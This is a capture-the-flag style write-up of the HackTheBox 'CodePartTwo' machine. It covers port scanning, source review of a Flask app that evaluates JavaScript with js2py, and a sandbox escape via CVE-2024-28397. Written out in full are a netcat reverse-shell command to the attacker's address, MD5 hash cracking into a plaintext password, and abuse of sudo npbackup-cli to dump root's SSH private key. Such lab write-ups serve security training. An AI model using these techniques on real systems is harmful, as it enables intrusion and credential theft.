Post

HackTheBox CodePartTwo Writeup

Nmap Enumeration

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
┌──(parallels㉿kali-linux-2025-2)-[~/hackthebox/CodePartTwo]
└─$ cat nmap      
# Nmap 7.95 scan initiated Wed Oct 22 13:24:32 2025 as: /usr/lib/nmap/nmap -sC -sV -vv -oN nmap 10.129.232.59
Nmap scan report for 10.129.232.59
Host is up, received reset ttl 63 (0.055s latency).
Scanned at 2025-10-22 13:24:32 CST for 11s
Not shown: 998 closed tcp ports (reset)
PORT     STATE SERVICE REASON         VERSION
22/tcp   open  ssh     syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 a0:47:b4:0c:69:67:93:3a:f9:b4:5d:b3:2f:bc:9e:23 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCnwmWCXCzed9BzxaxS90h2iYyuDOrE2LkavbNeMlEUPvMpznuB9cs8CTnUenkaIA8RBb4mOfWGxAQ6a/nmKOea1FA6rfGG+fhOE/R1g8BkVoKGkpP1hR2XWbS3DWxJx3UUoKUDgFGSLsEDuW1C+ylg8UajGokSzK9NEg23WMpc6f+FORwJeHzOzsmjVktNrWeTOZthVkvQfqiDyB4bN0cTsv1mAp1jjbNnf/pALACTUmxgEemnTOsWk3Yt1fQkkT8IEQcOqqGQtSmOV9xbUmv6Y5ZoCAssWRYQ+JcR1vrzjoposAaMG8pjkUnXUN0KF/AtdXE37rGU0DLTO9+eAHXhvdujYukhwMp8GDi1fyZagAW+8YJb8uzeJBtkeMo0PFRIkKv4h/uy934gE0eJlnvnrnoYkKcXe+wUjnXBfJ/JhBlJvKtpLTgZwwlh95FJBiGLg5iiVaLB2v45vHTkpn5xo7AsUpW93Tkf+6ezP+1f3P7tiUlg3ostgHpHL5Z9478=
|   256 7d:44:3f:f1:b1:e2:bb:3d:91:d5:da:58:0f:51:e5:ad (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBErhv1LbQSlbwl0ojaKls8F4eaTL4X4Uv6SYgH6Oe4Y+2qQddG0eQetFslxNF8dma6FK2YGcSZpICHKuY+ERh9c=
|   256 f1:6b:1d:36:18:06:7a:05:3f:07:57:e1:ef:86:b4:85 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEJovaecM3DB4YxWK2pI7sTAv9PrxTbpLG2k97nMp+FM
8000/tcp open  http    syn-ack ttl 63 Gunicorn 20.0.4
|_http-server-header: gunicorn/20.0.4
| http-methods: 
|_  Supported Methods: OPTIONS GET HEAD
|_http-title: Welcome to CodePartTwo
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Oct 22 13:24:43 2025 -- 1 IP address (1 host up) scanned in 11.12 seconds

Rustscan Enumeration

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
┌──(parallels㉿kali-linux-2025-2)-[~/hackthebox/CodePartTwo]
└─$ rustscan -a 10.129.232.59 --ulimit 5000
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog         :
: https://github.com/RustScan/RustScan :
 --------------------------------------
Scanning ports: The virtual equivalent of knocking on doors.

[~] The config file is expected to be at "/home/parallels/.rustscan.toml"
[~] Automatically increasing ulimit value to 5000.
Open 10.129.232.59:22
Open 10.129.232.59:8000
[~] Starting Script(s)
[~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-22 13:26 CST
Initiating Ping Scan at 13:26
Scanning 10.129.232.59 [4 ports]
Completed Ping Scan at 13:26, 0.07s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 13:26
Completed Parallel DNS resolution of 1 host. at 13:26, 0.00s elapsed
DNS resolution of 1 IPs took 0.00s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 13:26
Scanning 10.129.232.59 [2 ports]
Discovered open port 22/tcp on 10.129.232.59
Discovered open port 8000/tcp on 10.129.232.59
Completed SYN Stealth Scan at 13:26, 0.13s elapsed (2 total ports)
Nmap scan report for 10.129.232.59
Host is up, received echo-reply ttl 63 (0.059s latency).
Scanned at 2025-10-22 13:26:49 CST for 1s

PORT     STATE SERVICE  REASON
22/tcp   open  ssh      syn-ack ttl 63
8000/tcp open  http-alt syn-ack ttl 63

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.29 seconds
           Raw packets sent: 6 (240B) | Rcvd: 3 (116B)

Open Services:

  • ssh -> TCP 22
  • http -> TCP 8000

HTTP Port 8000

A website provides Login, Register and Download APP feature.

Download APP

After clicking the Download APP, it’s download an app.zip:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
┌──(parallels㉿kali-linux-2025-2)-[~/hackthebox/CodePartTwo]
└─$ zipinfo -1 app.zip                   
app/
app/static/
app/static/css/
app/static/css/styles.css
app/static/js/
app/static/js/script.js
app/app.py
app/templates/
app/templates/dashboard.html
app/templates/reviews.html
app/templates/index.html
app/templates/base.html
app/templates/register.html
app/templates/login.html
app/requirements.txt
app/instance/
app/instance/users.db

It seem like the codebase for the server

Analysis Server Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
from flask import Flask, render_template, request, redirect, url_for, session, jsonify, send_from_directory
from flask_sqlalchemy import SQLAlchemy
import hashlib
import js2py
import os
import json

js2py.disable_pyimport()
app = Flask(__name__)
app.secret_key = 'S3cr3tK3yC0d3PartTw0'
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///users.db'
app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False
db = SQLAlchemy(app)

class User(db.Model):
    id = db.Column(db.Integer, primary_key=True)
    username = db.Column(db.String(80), unique=True, nullable=False)
    password_hash = db.Column(db.String(128), nullable=False)

class CodeSnippet(db.Model):
    id = db.Column(db.Integer, primary_key=True)
    user_id = db.Column(db.Integer, db.ForeignKey('user.id'), nullable=False)
    code = db.Column(db.Text, nullable=False)

@app.route('/')
def index():
    return render_template('index.html')

@app.route('/dashboard')
def dashboard():
    if 'user_id' in session:
        user_codes = CodeSnippet.query.filter_by(user_id=session['user_id']).all()
        return render_template('dashboard.html', codes=user_codes)
    return redirect(url_for('login'))

@app.route('/register', methods=['GET', 'POST'])
def register():
    if request.method == 'POST':
        username = request.form['username']
        password = request.form['password']
        password_hash = hashlib.md5(password.encode()).hexdigest()
        new_user = User(username=username, password_hash=password_hash)
        db.session.add(new_user)
        db.session.commit()
        return redirect(url_for('login'))
    return render_template('register.html')

@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'POST':
        username = request.form['username']
        password = request.form['password']
        password_hash = hashlib.md5(password.encode()).hexdigest()
        user = User.query.filter_by(username=username, password_hash=password_hash).first()
        if user:
            session['user_id'] = user.id
            session['username'] = username;
            return redirect(url_for('dashboard'))
        return "Invalid credentials"
    return render_template('login.html')

@app.route('/logout')
def logout():
    session.pop('user_id', None)
    return redirect(url_for('index'))

@app.route('/save_code', methods=['POST'])
def save_code():
    if 'user_id' in session:
        code = request.json.get('code')
        new_code = CodeSnippet(user_id=session['user_id'], code=code)
        db.session.add(new_code)
        db.session.commit()
        return jsonify({"message": "Code saved successfully"})
    return jsonify({"error": "User not logged in"}), 401

@app.route('/download')
def download():
    return send_from_directory(directory='/home/app/app/static/', path='app.zip', as_attachment=True)

@app.route('/delete_code/<int:code_id>', methods=['POST'])
def delete_code(code_id):
    if 'user_id' in session:
        code = CodeSnippet.query.get(code_id)
        if code and code.user_id == session['user_id']:
            db.session.delete(code)
            db.session.commit()
            return jsonify({"message": "Code deleted successfully"})
        return jsonify({"error": "Code not found"}), 404
    return jsonify({"error": "User not logged in"}), 401

@app.route('/run_code', methods=['POST'])
def run_code():
    try:
        code = request.json.get('code')
        result = js2py.eval_js(code)
        return jsonify({'result': result})
    except Exception as e:
        return jsonify({'error': str(e)})

if __name__ == '__main__':
    with app.app_context():
        db.create_all()
    app.run(host='0.0.0.0', debug=True)

Dashboard

After login successfully, we would be redirect to Dashboard

It seems like we can run javascript code and run it. By testing it

Good, we can execute arbitrary code in the server. Let’s head back to source code and check how does it run the code.

js2py

https://pypi.org/project/Js2Py/

It translate javascript to python code where has full support for ECMAScript 5.1. In this case, we can first test malicious javascript code:

Hmm.. This shows that it might run in pure ECMAScript 5.1 environment. We might unable to import any plugins or file read/write in this case.

CVE-2024-28397

By searching js2py exploit, we would be lead to CVE-2024-28397, which is js2py sandbox escape.

There exists a vulnerability in the implementation of a global variable inside js2py, allowing an attacker obtaining a reference to a python object in the js2py environment, thus enabling the attacker to escape JS environment and execute arbitrary commands on the host.

Normally, a user would call js2py.disable_pyimport() to stop JavaScript code from escaping the js2py environment. But with this vulnerability, an attacker can evade this restriction and execute any command on the target host.

Poc: https://github.com/Marven11/CVE-2024-28397-js2py-Sandbox-Escape/blob/main/poc.py

Note that we have to modify a little bit, as if we are calling communicate() only, it returns (none, none) as the result, so the output log would see the following error:

There is two method to solve:

  1. Modify the findpopen function, which find the subprocess.PIPE and assign to parameter stdout (which is the second parameter) to receive output.
  2. Use subprocess.run instead of subprocess.Popen if exists. In this case, we can use subprocess.run(cmd, true, true) to receive output.
  3. Work in this case only. We run the command and write the result to /home/app/app/static/app.zip, which we can access /download to download the file!

For example, if we use command ls > /home/app/app/static/app.zip :

Good! We achieve RCE in this case, let’s try to build reverse shell!

1
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.16.13 9001 >/tmp/f
1
2
3
4
5
6
7
8
┌──(parallels㉿kali-linux-2025-2)-[~/…/CodePartTwo/app/static/css]
└─$ nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.16.13] from (UNKNOWN) [10.129.232.59] 51012
sh: 0: can't access tty; job control turned off
$ whoami
app
$ 

Upgrade Shell

1
2
3
4
5
6
$ python -c 'import pty;pty.spawn("/bin/bash");'
$ <CTRL+Z>
$ stty raw -echo ; fg
$ reset
reset: unknown terminal type unknown
Terminal type? screen

Lateral Movement to marco

We have two users in home directories:

1
2
3
4
5
6
app@codeparttwo:/home$ ls -la
total 16
drwxr-xr-x  4 root  root  4096 Jan  2  2025 .
drwxr-xr-x 18 root  root  4096 Nov 16  2024 ..
drwxr-x---  5 app   app   4096 Apr  6  2025 app
drwxr-x---  6 marco marco 4096 Oct 22 06:15 marco

We might interesting at marco home directories (to get users.txt). However, we doesn’t have permissions to view it. In this case, our target is to first obtain credentials of marco.

Extract users.db

1
2
3
4
5
6
7
8
9
10
11
12
app@codeparttwo:~/app/instance$ ls
users.db
app@codeparttwo:~/app/instance$ sqlite3 users.db 
SQLite version 3.31.1 2020-01-27 19:55:54
Enter ".help" for usage hints.
sqlite> .open users.db
sqlite> .tables
code_snippet  user        
sqlite> select * from user;
1|marco|649c9d65a206a75f5abe509fe128bce5
2|app|a97588c0e2fa3a024876339e27aeb42e

good! we found two hash password in the database. We now can use hashcat to crack the password.

1
2
3
4
5
6
7
8
9
┌──(parallels㉿kali-linux-2025-2)-[~/hackthebox/CodePartTwo]
└─$ sudo hashcat -m 0 hashes.txt /usr/share/wordlists/rockyou.txt --force


649c9d65a206a75f5abe509fe128bce5:sweetangelbabylove       


Started: Wed Oct 22 14:24:25 2025
Stopped: Wed Oct 22 14:24:42 2025

Good! We found a valid credentials marco:sweetangelbabylove. We can then try to login as marco:

1
2
3
4
app@codeparttwo:~/app/instance$ su marco
Password: 
marco@codeparttwo:/home/app/app/instance$ whoami
marco

Privilege escalation

By checking sudo permissions:

1
2
3
4
5
6
7
marco@codeparttwo:~$ sudo -l
Matching Defaults entries for marco on codeparttwo:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User marco may run the following commands on codeparttwo:
    (ALL : ALL) NOPASSWD: /usr/local/bin/npbackup-cli

We have sudo permissions on /usr/local/bin/npbackup-cli, which is a python script:

1
2
marco@codeparttwo:~$ file /usr/local/bin/npbackup-cli
/usr/local/bin/npbackup-cli: Python script, ASCII text executable

By reading it:

1
2
3
4
5
6
7
8
9
10
11
12
13
#!/usr/bin/python3
# -*- coding: utf-8 -*-
import re
import sys
from npbackup.__main__ import main
if __name__ == '__main__':
    # Block restricted flag
    if '--external-backend-binary' in sys.argv:
        print("Error: '--external-backend-binary' flag is restricted for use.")
        sys.exit(1)

    sys.argv[0] = re.sub(r'(-script\.pyw|\.exe)?$', '', sys.argv[0])
    sys.exit(main())

After some research, found that it is a python packages https://pypi.org/project/npbackup/3.0.0rc8/, which is a secure and efficient file backup solution that fits both system administrators (CLI) and end users (GUI).

In this case, we might want to backup /root to us, and hopefully we can make it readable.

By checking it manual page:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
marco@codeparttwo:~$ sudo /usr/local/bin/npbackup-cli --help
usage: npbackup-cli [-h] [-c CONFIG_FILE] [--repo-name REPO_NAME]
                    [--repo-group REPO_GROUP] [-b] [-f] [-r RESTORE] [-s]
                    [--ls [LS]] [--find FIND] [--forget FORGET] [--policy]
                    [--housekeeping] [--quick-check] [--full-check]
                    [--check CHECK] [--prune [PRUNE]] [--prune-max] [--unlock]
                    [--repair-index] [--repair-packs REPAIR_PACKS]
                    [--repair-snapshots] [--repair REPAIR] [--recover]
                    [--list LIST] [--dump DUMP] [--stats [STATS]] [--raw RAW]
                    [--init] [--has-recent-snapshot]
                    [--restore-includes RESTORE_INCLUDES]
                    [--snapshot-id SNAPSHOT_ID] [--json] [--stdin]
                    [--stdin-filename STDIN_FILENAME] [-v] [-V] [--dry-run]
                    [--no-cache] [--license] [--auto-upgrade]
                    [--log-file LOG_FILE] [--show-config]
                    [--external-backend-binary EXTERNAL_BACKEND_BINARY]
                    [--group-operation GROUP_OPERATION]
                    [--create-key CREATE_KEY]
                    [--create-backup-scheduled-task CREATE_BACKUP_SCHEDULED_TASK]
                    [--create-housekeeping-scheduled-task CREATE_HOUSEKEEPING_SCHEDULED_TASK]
                    [--check-config-file]

Portable Network Backup Client This program is distributed under the GNU
General Public License and comes with ABSOLUTELY NO WARRANTY. This is free
software, and you are welcome to redistribute it under certain conditions;
Please type --license for more info.

optional arguments:
  -h, --help            show this help message and exit
  -c CONFIG_FILE, --config-file CONFIG_FILE
                        Path to alternative configuration file (defaults to
                        current dir/npbackup.conf)
  --repo-name REPO_NAME
                        Name of the repository to work with. Defaults to
                        'default'. This can also be a comma separated list of
                        repo names. Can accept special name '__all__' to work
                        with all repositories.
  --repo-group REPO_GROUP
                        Comme separated list of groups to work with. Can
                        accept special name '__all__' to work with all
                        repositories.
  -b, --backup          Run a backup
  -f, --force           Force running a backup regardless of existing backups
                        age
  -r RESTORE, --restore RESTORE
                        Restore to path given by --restore, add --snapshot-id
                        to specify a snapshot other than latest
  -s, --snapshots       Show current snapshots
  --ls [LS]             Show content given snapshot. When no snapshot id is
                        given, latest is used
  --find FIND           Find full path of given file / directory
  --forget FORGET       Forget given snapshot (accepts comma separated list of
                        snapshots)
  --policy              Apply retention policy to snapshots (forget snapshots)
  --housekeeping        Run --check quick, --policy and --prune in one go
  --quick-check         Deprecated in favor of --'check quick'. Quick check
                        repository
  --full-check          Deprecated in favor of '--check full'. Full check
                        repository (read all data)
  --check CHECK         Checks the repository. Valid arguments are 'quick'
                        (metadata check) and 'full' (metadata + data check)
  --prune [PRUNE]       Prune data in repository, also accepts max parameter
                        in order prune reclaiming maximum space
  --prune-max           Deprecated in favor of --prune max
  --unlock              Unlock repository
  --repair-index        Deprecated in favor of '--repair index'.Repair repo
                        index
  --repair-packs REPAIR_PACKS
                        Deprecated in favor of '--repair packs'. Repair repo
                        packs ids given by --repair-packs
  --repair-snapshots    Deprecated in favor of '--repair snapshots'.Repair
                        repo snapshots
  --repair REPAIR       Repair the repository. Valid arguments are 'index',
                        'snapshots', or 'packs'
  --recover             Recover lost repo snapshots
  --list LIST           Show [blobs|packs|index|snapshots|keys|locks] objects
  --dump DUMP           Dump a specific file to stdout (full path given by
                        --ls), use with --dump [file], add --snapshot-id to
                        specify a snapshot other than latest
  --stats [STATS]       Get repository statistics. If snapshot id is given,
                        only snapshot statistics will be shown. You may also
                        pass "--mode raw-data" or "--mode debug" (with double
                        quotes) to get full repo statistics
  --raw RAW             Run raw command against backend. Use with --raw "my
                        raw backend command"
  --init                Manually initialize a repo (is done automatically on
                        first backup)
  --has-recent-snapshot
                        Check if a recent snapshot exists
  --restore-includes RESTORE_INCLUDES
                        Restore only paths within include path, comma
                        separated list accepted
  --snapshot-id SNAPSHOT_ID
                        Choose which snapshot to use. Defaults to latest
  --json                Run in JSON API mode. Nothing else than JSON will be
                        printed to stdout
  --stdin               Backup using data from stdin input
  --stdin-filename STDIN_FILENAME
                        Alternate filename for stdin, defaults to 'stdin.data'
  -v, --verbose         Show verbose output
  -V, --version         Show program version
  --dry-run             Run operations in test mode, no actual modifications
  --no-cache            Run operations without cache
  --license             Show license
  --auto-upgrade        Auto upgrade NPBackup
  --log-file LOG_FILE   Optional path for logfile
  --show-config         Show full inherited configuration for current repo.
                        Optionally you can set NPBACKUP_MANAGER_PASSWORD env
                        variable for more details.
  --external-backend-binary EXTERNAL_BACKEND_BINARY
                        Full path to alternative external backend binary
  --group-operation GROUP_OPERATION
                        Deprecated command to launch operations on multiple
                        repositories. Not needed anymore. Replaced by --repo-
                        name x,y or --repo-group x,y
  --create-key CREATE_KEY
                        Create a new encryption key, requires a file path
  --create-backup-scheduled-task CREATE_BACKUP_SCHEDULED_TASK
                        Create a scheduled backup task, specify an argument
                        interval via interval=minutes, or
                        hour=hour,minute=minute for a daily task
  --create-housekeeping-scheduled-task CREATE_HOUSEKEEPING_SCHEDULED_TASK
                        Create a scheduled housekeeping task, specify
                        hour=hour,minute=minute for a daily task
  --check-config-file   Check if config file is valid

In summary, the npbackup-cli receives a backup configuration file, and do some snapshot or backup according to the command provided.

In this case, we can try to manipulate the backup configuration file, by change the repo_uri.backup_opts.paths to /root, and use arguments -b to force a backup:

1
2
3
4
5
6
7
8
9
10
11
12
marco@codeparttwo:~$ sudo /usr/local/bin/npbackup-cli -c npbackup-mal.conf -b
2025-10-22 06:41:28,471 :: INFO :: npbackup 3.0.1-linux-UnknownBuildType-x64-legacy-public-3.8-i 2025032101 - Copyright (C) 2022-2025 NetInvent running as root
2025-10-22 06:41:28,519 :: INFO :: Loaded config 09F15BEC in /home/marco/npbackup-mal.conf
2025-10-22 06:41:28,536 :: INFO :: Searching for a backup newer than 1 day, 0:00:00 ago
2025-10-22 06:41:31,486 :: INFO :: Snapshots listed successfully
2025-10-22 06:41:31,488 :: INFO :: Recent snapshot 6bd96ef9 of 2025-10-22T06:39:02.760357319Z exists !
2025-10-22 06:41:31,488 :: INFO :: Most recent backup in repo default is from 2025-10-22 06:39:02.760357+00:00
2025-10-22 06:41:31,488 :: INFO :: Runner took 2.952219 seconds for has_recent_snapshot
2025-10-22 06:41:31,488 :: INFO :: No backup necessary
2025-10-22 06:41:31,489 :: INFO :: Runner took 2.954105 seconds for backup
2025-10-22 06:41:31,489 :: INFO :: Operation finished
2025-10-22 06:41:31,499 :: INFO :: ExecTime = 0:00:03.032506, finished, state is: success.

Then, we can view the files by:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
marco@codeparttwo:~$ sudo /usr/local/bin/npbackup-cli -c npbackup-mal.conf --ls
2025-10-22 06:41:48,158 :: INFO :: npbackup 3.0.1-linux-UnknownBuildType-x64-legacy-public-3.8-i 2025032101 - Copyright (C) 2022-2025 NetInvent running as root
2025-10-22 06:41:48,205 :: INFO :: Loaded config 09F15BEC in /home/marco/npbackup-mal.conf
2025-10-22 06:41:48,223 :: INFO :: Showing content of snapshot latest in repo default
2025-10-22 06:41:51,359 :: INFO :: Successfully listed snapshot latest content:
snapshot 6bd96ef9 of [/root] at 2025-10-22 06:39:02.760357319 +0000 UTC by root@codeparttwo filtered by []:
/root
/root/.bash_history
/root/.bashrc
/root/.cache
/root/.cache/motd.legal-displayed
/root/.local
/root/.local/share
/root/.local/share/nano
/root/.local/share/nano/search_history
/root/.mysql_history
/root/.profile
/root/.python_history
/root/.sqlite_history
/root/.ssh
/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.vim
/root/.vim/.netrwhist
/root/root.txt
/root/scripts
/root/scripts/backup.tar.gz
/root/scripts/cleanup.sh
/root/scripts/cleanup_conf.sh
/root/scripts/cleanup_db.sh
/root/scripts/cleanup_marco.sh
/root/scripts/npbackup.conf
/root/scripts/users.db

2025-10-22 06:41:51,360 :: INFO :: Runner took 3.137347 seconds for ls
2025-10-22 06:41:51,360 :: INFO :: Operation finished
2025-10-22 06:41:51,370 :: INFO :: ExecTime = 0:00:03.216540, finished, state is: success.

Good! we found id_rsa, we can try to obtain that private key to gain root shell.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
marco@codeparttwo:~$ sudo /usr/local/bin/npbackup-cli -c npbackup-mal.conf --dump /root/.ssh/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEA9apNjja2/vuDV4aaVheXnLbCe7dJBI/l4Lhc0nQA5F9wGFxkvIEy
VXRep4N+ujxYKVfcT3HZYR6PsqXkOrIb99zwr1GkEeAIPdz7ON0pwEYFxsHHnBr+rPAp9d
EaM7OOojou1KJTNn0ETKzvxoYelyiMkX9rVtaETXNtsSewYUj4cqKe1l/w4+MeilBdFP7q
kiXtMQ5nyiO2E4gQAvXQt9bkMOI1UXqq+IhUBoLJOwxoDwuJyqMKEDGBgMoC2E7dNmxwJV
XQSdbdtrqmtCZJmPhsAT678v4bLUjARk9bnl34/zSXTkUnH+bGKn1hJQ+IG95PZ/rusjcJ
hNzr/GTaAntxsAZEvWr7hZF/56LXncDxS0yLa5YVS8YsEHerd/SBt1m5KCAPGofMrnxSSS
pyuYSlw/OnTT8bzoAY1jDXlr5WugxJz8WZJ3ItpUeBi4YSP2Rmrc29SdKKqzryr7AEn4sb
JJ0y4l95ERARsMPFFbiEyw5MGG3ni61Xw62T3BTlAAAFiCA2JBMgNiQTAAAAB3NzaC1yc2
EAAAGBAPWqTY42tv77g1eGmlYXl5y2wnu3SQSP5eC4XNJ0AORfcBhcZLyBMlV0XqeDfro8
WClX3E9x2WEej7Kl5DqyG/fc8K9RpBHgCD3c+zjdKcBGBcbBx5wa/qzwKfXRGjOzjqI6Lt
SiUzZ9BEys78aGHpcojJF/a1bWhE1zbbEnsGFI+HKintZf8OPjHopQXRT+6pIl7TEOZ8oj
thOIEAL10LfW5DDiNVF6qviIVAaCyTsMaA8LicqjChAxgYDKAthO3TZscCVV0EnW3ba6pr
QmSZj4bAE+u/L+Gy1IwEZPW55d+P80l05FJx/mxip9YSUPiBveT2f67rI3CYTc6/xk2gJ7
cbAGRL1q+4WRf+ei153A8UtMi2uWFUvGLBB3q3f0gbdZuSggDxqHzK58UkkqcrmEpcPzp0
0/G86AGNYw15a+VroMSc/FmSdyLaVHgYuGEj9kZq3NvUnSiqs68q+wBJ+LGySdMuJfeREQ
EbDDxRW4hMsOTBht54utV8Otk9wU5QAAAAMBAAEAAAGBAJYX9ASEp2/IaWnLgnZBOc901g
RSallQNcoDuiqW14iwSsOHh8CoSwFs9Pvx2jac8dxoouEjFQZCbtdehb/a3D2nDqJ/Bfgp
4b8ySYdnkL+5yIO0F2noEFvG7EwU8qZN+UJivAQMHT04Sq0yJ9kqTnxaOPAYYpOOwwyzDn
zjW99Efw9DDjq6KWqCdEFbclOGn/ilFXMYcw9MnEz4n5e/akM4FvlK6/qZMOZiHLxRofLi
1J0Elq5oyJg2NwJh6jUQkOLitt0KjuuYPr3sRMY98QCHcZvzUMmJ/hPZIZAQFtJEtXHkt5
UkQ9SgC/LEaLU2tPDr3L+JlrY1Hgn6iJlD0ugOxn3fb924P2y0Xhar56g1NchpNe1kZw7g
prSiC8F2ustRvWmMPCCjS/3QSziYVpM2uEVdW04N702SJGkhJLEpVxHWszYbQpDatq5ckb
SaprgELr/XWWFjz3FR4BNI/ZbdFf8+bVGTVf2IvoTqe6Db0aUGrnOJccgJdlKR8e2nwQAA
AMEA79NxcGx+wnl11qfgc1dw25Olzc6+Jflkvyd4cI5WMKvwIHLOwNQwviWkNrCFmTihHJ
gtfeE73oFRdMV2SDKmup17VzbE47x50m0ykT09KOdAbwxBK7W3A99JDckPBlqXe0x6TG65
UotCk9hWibrl2nXTufZ1F3XGQu1LlQuj8SHyijdzutNQkEteKo374/AB1t2XZIENWzUZNx
vP8QwKQche2EN1GQQS6mGWTxN5YTGXjp9jFOc0EvAgwXczKxJ1AAAAwQD7/hrQJpgftkVP
/K8GeKcY4gUcfoNAPe4ybg5EHYIF8vlSSm7qy/MtZTh2Iowkt3LDUkVXcEdbKm/bpyZWre
0P6Fri6CWoBXmOKgejBdptb+Ue+Mznu8DgPDWFXXVkgZOCk/1pfAKBxEH4+sOYOr8o9SnI
nSXtKgYHFyGzCl20nAyfiYokTwX3AYDEo0wLrVPAeO59nQSroH1WzvFvhhabs0JkqsjGLf
kMV0RRqCVfcmReEI8S47F/JBg/eOTsWfUAAADBAPmScFCNisrgb1dvow0vdWKavtHyvoHz
bzXsCCCHB9Y+33yrL4fsaBfLHoexvdPX0Ssl/uFCilc1zEvk30EeC1yoG3H0Nsu+R57BBI
o85/zCvGKm/BYjoldz23CSOFrssSlEZUppA6JJkEovEaR3LW7b1pBIMu52f+64cUNgSWtH
kXQKJhgScWFD3dnPx6cJRLChJayc0FHz02KYGRP3KQIedpOJDAFF096MXhBT7W9ZO8Pen/
MBhgprGCU3dhhJMQAAAAxyb290QGNvZGV0d28BAgMEBQ==
-----END OPENSSH PRIVATE KEY-----

Next, we ssh as root!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
marco@codeparttwo:~$ chmod 400 id_rsa
marco@codeparttwo:~$ ls
backups  id_rsa  npbackup.conf  npbackup-mal.conf  user.txt
marco@codeparttwo:~$ ssh -i ./id_rsa root@localhost
The authenticity of host 'localhost (127.0.0.1)' can't be established.
ECDSA key fingerprint is SHA256:/tJyANpU1VQQ26JR0UR7+5bhDywmURGVMDitiJqBQcU.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'localhost' (ECDSA) to the list of known hosts.
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-216-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Wed 22 Oct 2025 06:43:38 AM UTC

  System load:           0.03
  Usage of /:            57.7% of 5.08GB
  Memory usage:          27%
  Swap usage:            0%
  Processes:             237
  Users logged in:       0
  IPv4 address for eth0: 10.129.232.59
  IPv6 address for eth0: dead:beef::250:56ff:feb9:fe06


Expanded Security Maintenance for Infrastructure is not enabled.

0 updates can be applied immediately.

Enable ESM Infra to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Wed Oct 22 06:43:39 2025 from 127.0.0.1
root@codeparttwo:~# 

easy!

This post is licensed under CC BY 4.0 by the author.